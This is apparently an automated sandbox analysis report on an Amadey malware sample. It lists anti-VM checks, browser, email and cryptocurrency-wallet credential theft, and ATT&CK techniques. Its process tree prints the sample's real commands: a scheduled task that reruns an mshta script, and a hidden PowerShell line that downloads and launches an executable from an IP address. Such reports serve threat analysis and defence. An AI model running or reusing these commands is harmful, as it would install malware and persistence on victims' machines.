amadey | 853f95bab9db7017804bee01b1d328370a48c803a3247d761fdda987dd654373

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Temp4NO4LEKHBUSSLZQWICX1CMV89IJBCIQX.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	b418752ed2.exe

Blocklisted process makes network request 1 IoCs

flow	pid	Process
4	2336	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2336	powershell.exe

Downloads MZ/PE file 2 IoCs

flow	pid	Process
4	2336	powershell.exe
7	844	rapes.exe

Checks BIOS information in registry 2 TTPs 6 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Temp4NO4LEKHBUSSLZQWICX1CMV89IJBCIQX.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	b418752ed2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	b418752ed2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Temp4NO4LEKHBUSSLZQWICX1CMV89IJBCIQX.EXE

Executes dropped EXE 3 IoCs

pid	Process
2884	Temp4NO4LEKHBUSSLZQWICX1CMV89IJBCIQX.EXE
844	rapes.exe
2180	b418752ed2.exe

Identifies Wine through registry keys 2 TTPs 3 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

defense_evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Wine	Temp4NO4LEKHBUSSLZQWICX1CMV89IJBCIQX.EXE
Key opened	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Wine	rapes.exe
Key opened	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Wine	b418752ed2.exe

Loads dropped DLL 3 IoCs

pid	Process
2336	powershell.exe
2884	Temp4NO4LEKHBUSSLZQWICX1CMV89IJBCIQX.EXE
844	rapes.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs

pid	Process
2884	Temp4NO4LEKHBUSSLZQWICX1CMV89IJBCIQX.EXE
844	rapes.exe
2180	b418752ed2.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\rapes.job	Temp4NO4LEKHBUSSLZQWICX1CMV89IJBCIQX.EXE

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	b418752ed2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	853f95bab9db7017804bee01b1d328370a48c803a3247d761fdda987dd654373.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Temp4NO4LEKHBUSSLZQWICX1CMV89IJBCIQX.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rapes.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
316	schtasks.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
2336	powershell.exe
2336	powershell.exe
2336	powershell.exe
2884	Temp4NO4LEKHBUSSLZQWICX1CMV89IJBCIQX.EXE
844	rapes.exe
2180	b418752ed2.exe
2180	b418752ed2.exe
2180	b418752ed2.exe
2180	b418752ed2.exe
2180	b418752ed2.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2336	powershell.exe

Suspicious use of FindShellTrayWindow 4 IoCs

pid	Process
2876	853f95bab9db7017804bee01b1d328370a48c803a3247d761fdda987dd654373.exe
2876	853f95bab9db7017804bee01b1d328370a48c803a3247d761fdda987dd654373.exe
2876	853f95bab9db7017804bee01b1d328370a48c803a3247d761fdda987dd654373.exe
2884	Temp4NO4LEKHBUSSLZQWICX1CMV89IJBCIQX.EXE

Suspicious use of SendNotifyMessage 3 IoCs

pid	Process
2876	853f95bab9db7017804bee01b1d328370a48c803a3247d761fdda987dd654373.exe
2876	853f95bab9db7017804bee01b1d328370a48c803a3247d761fdda987dd654373.exe
2876	853f95bab9db7017804bee01b1d328370a48c803a3247d761fdda987dd654373.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 2876 wrote to memory of 2364	2876	853f95bab9db7017804bee01b1d328370a48c803a3247d761fdda987dd654373.exe	31
PID 2876 wrote to memory of 2364	2876	853f95bab9db7017804bee01b1d328370a48c803a3247d761fdda987dd654373.exe	31
PID 2876 wrote to memory of 2364	2876	853f95bab9db7017804bee01b1d328370a48c803a3247d761fdda987dd654373.exe	31
PID 2876 wrote to memory of 2364	2876	853f95bab9db7017804bee01b1d328370a48c803a3247d761fdda987dd654373.exe	31
PID 2876 wrote to memory of 2396	2876	853f95bab9db7017804bee01b1d328370a48c803a3247d761fdda987dd654373.exe	32
PID 2876 wrote to memory of 2396	2876	853f95bab9db7017804bee01b1d328370a48c803a3247d761fdda987dd654373.exe	32
PID 2876 wrote to memory of 2396	2876	853f95bab9db7017804bee01b1d328370a48c803a3247d761fdda987dd654373.exe	32
PID 2876 wrote to memory of 2396	2876	853f95bab9db7017804bee01b1d328370a48c803a3247d761fdda987dd654373.exe	32
PID 2364 wrote to memory of 316	2364	cmd.exe	34
PID 2364 wrote to memory of 316	2364	cmd.exe	34
PID 2364 wrote to memory of 316	2364	cmd.exe	34
PID 2364 wrote to memory of 316	2364	cmd.exe	34
PID 2396 wrote to memory of 2336	2396	mshta.exe	35
PID 2396 wrote to memory of 2336	2396	mshta.exe	35
PID 2396 wrote to memory of 2336	2396	mshta.exe	35
PID 2396 wrote to memory of 2336	2396	mshta.exe	35
PID 2336 wrote to memory of 2884	2336	powershell.exe	37
PID 2336 wrote to memory of 2884	2336	powershell.exe	37
PID 2336 wrote to memory of 2884	2336	powershell.exe	37
PID 2336 wrote to memory of 2884	2336	powershell.exe	37
PID 2884 wrote to memory of 844	2884	Temp4NO4LEKHBUSSLZQWICX1CMV89IJBCIQX.EXE	38
PID 2884 wrote to memory of 844	2884	Temp4NO4LEKHBUSSLZQWICX1CMV89IJBCIQX.EXE	38
PID 2884 wrote to memory of 844	2884	Temp4NO4LEKHBUSSLZQWICX1CMV89IJBCIQX.EXE	38
PID 2884 wrote to memory of 844	2884	Temp4NO4LEKHBUSSLZQWICX1CMV89IJBCIQX.EXE	38
PID 844 wrote to memory of 2180	844	rapes.exe	40
PID 844 wrote to memory of 2180	844	rapes.exe	40
PID 844 wrote to memory of 2180	844	rapes.exe	40
PID 844 wrote to memory of 2180	844	rapes.exe	40

C:\Users\Admin\AppData\Local\Temp\853f95bab9db7017804bee01b1d328370a48c803a3247d761fdda987dd654373.exe
"C:\Users\Admin\AppData\Local\Temp\853f95bab9db7017804bee01b1d328370a48c803a3247d761fdda987dd654373.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2876
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /create /tn FwUOTmaEbZQ /tr "mshta C:\Users\Admin\AppData\Local\Temp\YjXHg5W4b.hta" /sc minute /mo 25 /ru "Admin" /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2364
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn FwUOTmaEbZQ /tr "mshta C:\Users\Admin\AppData\Local\Temp\YjXHg5W4b.hta" /sc minute /mo 25 /ru "Admin" /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:316
- C:\Windows\SysWOW64\mshta.exe
  mshta C:\Users\Admin\AppData\Local\Temp\YjXHg5W4b.hta
  2⤵
  - System Location Discovery: System Language Discovery
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:2396
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'4NO4LEKHBUSSLZQWICX1CMV89IJBCIQX.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Downloads MZ/PE file
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2336
  - - C:\Users\Admin\AppData\Local\Temp4NO4LEKHBUSSLZQWICX1CMV89IJBCIQX.EXE
      "C:\Users\Admin\AppData\Local\Temp4NO4LEKHBUSSLZQWICX1CMV89IJBCIQX.EXE"
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Executes dropped EXE
      Identifies Wine through registry keys
      Loads dropped DLL
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:2884
    - - C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
        
        "C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Downloads MZ/PE file
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Loads dropped DLL
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:844
      - C:\Users\Admin\AppData\Local\Temp\10206880101\b418752ed2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10206880101\b418752ed2.exe"
        6⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:2180

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Modify Registry

T1112

Virtualization/Sandbox Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion